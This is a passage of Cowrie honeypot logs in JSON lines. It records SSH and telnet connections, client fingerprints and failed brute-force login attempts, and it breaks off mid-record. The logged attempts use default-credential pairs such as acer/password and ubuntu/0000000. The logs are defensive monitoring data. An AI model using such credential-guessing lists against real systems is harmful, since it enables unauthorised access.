{"eventid":"cowrie.session.closed","duration":120.00153684616089,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:50:26.118256Z","src_ip":"70.65.190.120","session":"52bcf763edd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00616383552551,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:50:30.768727Z","src_ip":"70.65.190.120","session":"b7841fae2205","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"70.65.190.120","src_port":54208,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e95ec4de3d0","protocol":"telnet","message":"New connection: 70.65.190.120:54208 (10.17.0.5:23) [session: 7e95ec4de3d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:50:38.319579Z"}
{"eventid":"cowrie.session.connect","src_ip":"70.65.190.120","src_port":54194,"dst_ip":"10.17.0.5","dst_port":23,"session":"2551677540e1","protocol":"telnet","message":"New connection: 70.65.190.120:54194 (10.17.0.5:23) [session: 2551677540e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:50:38.345321Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:50:54.596039Z","src_ip":"183.135.11.52","session":"f2207e114b84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60630,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cb8c61ecda4","protocol":"ssh","message":"New connection: 159.203.92.129:60630 (159.203.135.109:22) [session: 4cb8c61ecda4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:51:05.502651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:51:05.507551Z","src_ip":"159.203.92.129","session":"4cb8c61ecda4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:51:05.518068Z","src_ip":"159.203.92.129","session":"4cb8c61ecda4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"acer","password":"pass123","message":"login attempt [acer/pass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:51:05.554451Z","src_ip":"159.203.92.129","session":"4cb8c61ecda4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:51:06.563089Z","src_ip":"159.203.92.129","session":"4cb8c61ecda4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:51:25.477113Z","src_ip":"49.75.185.71","session":"8a2e4a409d33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53042,"dst_ip":"159.203.135.109","dst_port":22,"session":"77525955e503","protocol":"ssh","message":"New connection: 159.203.92.129:53042 (159.203.135.109:22) [session: 77525955e503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:51:45.311549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:51:45.316299Z","src_ip":"159.203.92.129","session":"77525955e503","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:51:45.321307Z","src_ip":"159.203.92.129","session":"77525955e503","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"acer","password":"passw0rd","message":"login attempt [acer/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:51:45.332861Z","src_ip":"159.203.92.129","session":"77525955e503","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:51:46.339293Z","src_ip":"159.203.92.129","session":"77525955e503","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.243.87","src_port":54162,"dst_ip":"159.203.135.109","dst_port":23,"session":"0231bfe0b28f","protocol":"telnet","message":"New connection: 91.92.243.87:54162 (159.203.135.109:23) [session: 0231bfe0b28f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:51:56.309198Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.243.87","src_port":54170,"dst_ip":"159.203.135.109","dst_port":23,"session":"319ce8d951b1","protocol":"telnet","message":"New connection: 91.92.243.87:54170 (159.203.135.109:23) [session: 319ce8d951b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:52:01.291011Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.243.87","src_port":46272,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb8c21b287e4","protocol":"telnet","message":"New connection: 91.92.243.87:46272 (159.203.135.109:23) [session: cb8c21b287e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:52:21.312818Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51164,"dst_ip":"159.203.135.109","dst_port":22,"session":"862ac33409b8","protocol":"ssh","message":"New connection: 159.203.92.129:51164 (159.203.135.109:22) [session: 862ac33409b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:52:24.995533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:52:25.000435Z","src_ip":"159.203.92.129","session":"862ac33409b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:52:25.004992Z","src_ip":"159.203.92.129","session":"862ac33409b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"acer","password":"password","message":"login attempt [acer/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:52:25.018536Z","src_ip":"159.203.92.129","session":"862ac33409b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:52:26.025818Z","src_ip":"159.203.92.129","session":"862ac33409b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.758500814437866,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:52:27.067512Z","src_ip":"91.92.243.87","session":"0231bfe0b28f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.776075839996338,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:52:32.067003Z","src_ip":"91.92.243.87","session":"319ce8d951b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00735926628113,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:52:38.326818Z","src_ip":"70.65.190.120","session":"7e95ec4de3d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00170254707336,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:52:38.346888Z","src_ip":"70.65.190.120","session":"2551677540e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"70.65.190.120","src_port":55410,"dst_ip":"10.17.0.5","dst_port":23,"session":"eaf314eb9d0a","protocol":"telnet","message":"New connection: 70.65.190.120:55410 (10.17.0.5:23) [session: eaf314eb9d0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:52:40.098535Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.108.65.204","src_port":59714,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc3bf59f4643","protocol":"telnet","message":"New connection: 65.108.65.204:59714 (159.203.135.109:23) [session: bc3bf59f4643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:52:45.280038Z"}
{"eventid":"cowrie.session.connect","src_ip":"70.65.190.120","src_port":55408,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccc35aa922cf","protocol":"telnet","message":"New connection: 70.65.190.120:55408 (10.17.0.5:23) [session: ccc35aa922cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:52:46.545062Z"}
{"eventid":"cowrie.session.closed","duration":30.79051947593689,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:52:52.103187Z","src_ip":"91.92.243.87","session":"cb8c21b287e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42788,"dst_ip":"159.203.135.109","dst_port":22,"session":"9410efd2705b","protocol":"ssh","message":"New connection: 159.203.92.129:42788 (159.203.135.109:22) [session: 9410efd2705b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:53:04.829010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:53:04.834044Z","src_ip":"159.203.92.129","session":"9410efd2705b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:53:04.840755Z","src_ip":"159.203.92.129","session":"9410efd2705b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aceuser","password":"123","message":"login attempt [aceuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:53:04.854018Z","src_ip":"159.203.92.129","session":"9410efd2705b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:53:05.862176Z","src_ip":"159.203.92.129","session":"9410efd2705b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.108.65.204","src_port":56720,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff47a2fb78d0","protocol":"telnet","message":"New connection: 65.108.65.204:56720 (159.203.135.109:23) [session: ff47a2fb78d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:53:06.436923Z"}
{"eventid":"cowrie.session.closed","duration":31.561649799346924,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:53:16.841589Z","src_ip":"65.108.65.204","session":"bc3bf59f4643","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"183.135.11.52","src_port":38594,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ff1c1c6a0dd","protocol":"ssh","message":"New connection: 183.135.11.52:38594 (10.17.0.5:22) [session: 6ff1c1c6a0dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:53:23.489732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:53:23.497764Z","src_ip":"183.135.11.52","session":"6ff1c1c6a0dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:53:25.588012Z","src_ip":"183.135.11.52","session":"6ff1c1c6a0dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"0000000","message":"login attempt [ubuntu/0000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:53:26.347885Z","src_ip":"183.135.11.52","session":"6ff1c1c6a0dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:53:27.764055Z","src_ip":"183.135.11.52","session":"6ff1c1c6a0dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.62280249595642,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:53:37.059568Z","src_ip":"65.108.65.204","session":"ff47a2fb78d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49456,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c59e11b524e","protocol":"ssh","message":"New connection: 159.203.92.129:49456 (159.203.135.109:22) [session: 0c59e11b524e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:53:45.429582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:53:45.434817Z","src_ip":"159.203.92.129","session":"0c59e11b524e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512